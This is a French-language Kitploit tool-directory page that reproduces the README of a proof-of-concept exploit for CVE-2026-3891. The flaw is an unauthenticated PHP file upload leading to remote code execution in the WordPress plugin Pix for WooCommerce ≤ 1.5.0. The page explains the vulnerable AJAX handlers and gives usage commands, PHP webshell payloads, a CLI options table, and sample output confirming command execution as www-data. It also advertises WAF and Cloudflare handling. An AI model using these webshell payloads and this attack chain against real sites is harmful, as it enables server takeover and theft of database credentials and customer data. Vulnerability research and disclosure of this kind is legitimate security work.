Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-3891 — PoC pour CVE-2026-3891 – Exécution de code à distance (RCE) par téléversement de fichier non authentifié dans Pix for WooCommerce ≤ 1.5.0. Récupération automatisée du nonce, téléversement PHP et exécution de commandes. | Kitploit
Outils/GitHubGitHub/ch4120n/cve-2026-3891
ExploitationExploitation d'Applications WebTests d'Intrusion
GitHubch4120n/cve-2026-3891

CVE-2026-3891

PoC pour CVE-2026-3891 – Exécution de code à distance (RCE) par téléversement de fichier non authentifié dans Pix for WooCommerce ≤ 1.5.0. Récupération automatisée du nonce, téléversement PHP et exécution de commandes.

Voir le dépôt
27il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

🚀 CVE-2026-3891 – RCE par téléversement de fichier non authentifié dans Pix for WooCommerce

Python Exploit CVE

GitHub stars GitHub issues License

Exploit de preuve de concept pour CVE-2026-3891 – téléversement arbitraire de fichier non authentifié menant à une exécution de code à distance dans le plugin WordPress Pix for WooCommerce (≤ 1.5.0).


📖 Aperçu

CVE-2026-3891 est une vulnérabilité critique dans le plugin Pix for WooCommerce, affectant toutes les versions jusqu'à 1.5.0. Le plugin n'applique pas correctement les contrôles d'autorisation et de type de fichier dans son gestionnaire AJAX lkn_pix_for_woocommerce_c6_save_settings. Un attaquant non authentifié peut abuser de cette faille pour téléverser des fichiers PHP arbitraires dans un répertoire accessible publiquement et obtenir une exécution de code à distance sur le serveur WordPress sous-jacent.

Ce dépôt contient un PoC de qualité production qui automatise toute la chaîne d'attaque – de la récupération d'un nonce valide au téléversement d'un webshell – avec une gestion d'erreurs robuste et une belle interface CLI.

🔍 Fonctionnalités clés

  • Vraiment non authentifié – aucun identifiant WordPress ni cookie de session requis.
  • Extraction automatique du nonce – l'exploit récupère le nonce de sécurité nécessaire via la même interface AJAX publique.
  • Téléversement de fichier multipart – construit correctement le paramètre de fichier certificate_crt_path attendu par le gestionnaire vulnérable.
  • Génération directe de l'URL – fournit immédiatement l'URL publique de la charge utile téléversée.
  • Vérifications post-exploitation – vérification facultative du succès du téléversement et exécution de commandes à la volée (--check).
  • Gestion avancée des erreurs – gère élégamment Cloudflare, les WAF, les délais d'attente et les réponses malformées.
  • Sortie claire et informative – tous les messages sont préfixés par [ * ], [ + ], [ - ], [ ! ] pour une lisibilité immédiate.

🧬 Détails de la vulnérabilité

La cause racine réside dans deux actions AJAX enregistrées par le plugin :

1. lkn_pix_for_woocommerce_generate_nonce

add_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', ...);

Cette action est rattachée à wp_ajax_nopriv_*, ce qui la rend accessible aux visiteurs non authentifiés. Elle génère un nonce pour l'action lkn_pix_for_woocommerce_c6_settings_nonce et le renvoie dans une enveloppe JSON :

{"success":true,"data":{"nonce":"abc123..."}}

Aucune vérification de capacité ni d'authentification d'utilisateur n'est effectuée – n'importe qui peut demander un nonce valide.

2. lkn_pix_for_woocommerce_c6_save_settings

add_action('wp_ajax_lkn_pix_for_woocommerce_c6_save_settings', ...);

Ce gestionnaire enregistre les paramètres du plugin, y compris un champ de téléversement de fichier nommé certificate_crt_path. Bien que le téléversement passe par le helper media_handle_upload de WordPress, le plugin omet de :

  • vérifier que la requête provient d'un utilisateur authentifié et autorisé (current_user_can manquant) ;
  • appliquer toute restriction de type de fichier ou d'extension (par exemple, il autorise les fichiers .php) ;
  • stocker le fichier dans un emplacement non exécutable – il aboutit dans :
    wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/
    
    qui est directement accessible via le web.

Comme le nonce ne protège que contre le CSRF et que n'importe qui peut l'obtenir, un attaquant peut enchaîner ces deux actions pour téléverser et exécuter du code PHP arbitraire.

Versions affectées

  • Pix for WooCommerce versions ≤ 1.5.0
  • La vulnérabilité a été confirmée sur des installations WordPress propres avec des configurations par défaut.

Impact

  • Exécution de code à distance (RCE) – accès complet à un webshell avec les privilèges du serveur web (généralement www-data ou apache).
  • Exfiltration de données – lecture de wp-config.php, des identifiants de base de données et des données clients.
  • Persistance – modification des fichiers du noyau, installation de backdoors.
  • Prise de contrôle complète du site – élévation des privilèges jusqu'à l'administrateur WordPress si la base de données est accessible.

🛠️ Prérequis d'exploitation

  • Accès réseau au site WordPress cible (aucune authentification requise).
  • Python 3.8+ avec la bibliothèque requests (installation via pip install requests).
  • La cible doit avoir le plugin vulnérable installé et actif (la configuration par défaut suffit).

🚀 Utilisation

Installation

git clone https://github.com/Ch4120N/CVE-2026-3891.git
cd CVE-2026-3891
pip install -r requirements.txt   # requests

Commande de base

python CVE-2026-3891.py http://target.com/wordpress

Pour un contrôle plus fin, utilisez les options de la ligne de commande :

python CVE-2026-3891.py https://example.com \
  -f shell.php \
  -p '<?php system($_GET["c"]); ?>' \
  --check \
  --timeout 20

Exemple de sortie

  ___  _  _  ____     ___   ___  ___    _       ___  ___  ___  __ 
 / __)( \/ )( ___)___(__ \ / _ \(__ \  / )  ___(__ )( _ )/ _ \/  )
( (__  \  /  )__)(___)/ _/( (_) )/ _/ / _ \(___)(_ \/ _ \\_  / )( 
 \___)  \/  (____)   (____)\___/(____)\___/    (___/\___/ (_/ (__)
                        [CVE-2026-3891]
          Pix for WooCommerce Unauthenticated File Upload
                         Owner: Ch4120N

[ * ] Warming up session (fetching homepage)...
[ * ] Homepage status: 200
[ * ] Requesting nonce (attempt 1/2)...
[ * ] Response status: 200
[ + ] Nonce obtained: 7e8f9a0b1c
[ * ] Uploading payload as woocommerce.php...
[ * ] Upload response status: 200
[ + ] Payload delivered to server.
[ * ] Verifying uploaded file at: http://192.168.56.102/wp-content/plugins/.../certs_c6/woocommerce.php
[ + ] File is accessible (HTTP 200).
[ + ] Webshell URL: http://192.168.56.102/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/woocommerce.php

# Optional check:
[ * ] Checking shell with command: id
[ + ] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Options de la ligne de commande

OptionDescriptionDéfaut
target (positionnel)URL de base du site WordPress.Requis
-f, --filenameNom du fichier PHP téléversé.woocommerce.php
-p, --payloadCode PHP à téléverser.<?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?>
-t, --timeoutDélai d'attente (timeout) des requêtes, en secondes.15
-r, --retriesNombre maximal de tentatives de récupération du nonce.2
--no-bannerMasquer l'ASCII art.(désactivé)
--no-verifyIgnorer la vérification d'accessibilité après le téléversement.(désactivé)
--checkExécuter id sur le webshell après le téléversement.(désactivé)

🧪 Détails techniques pour la détection et le réglage

Télécharger l’outil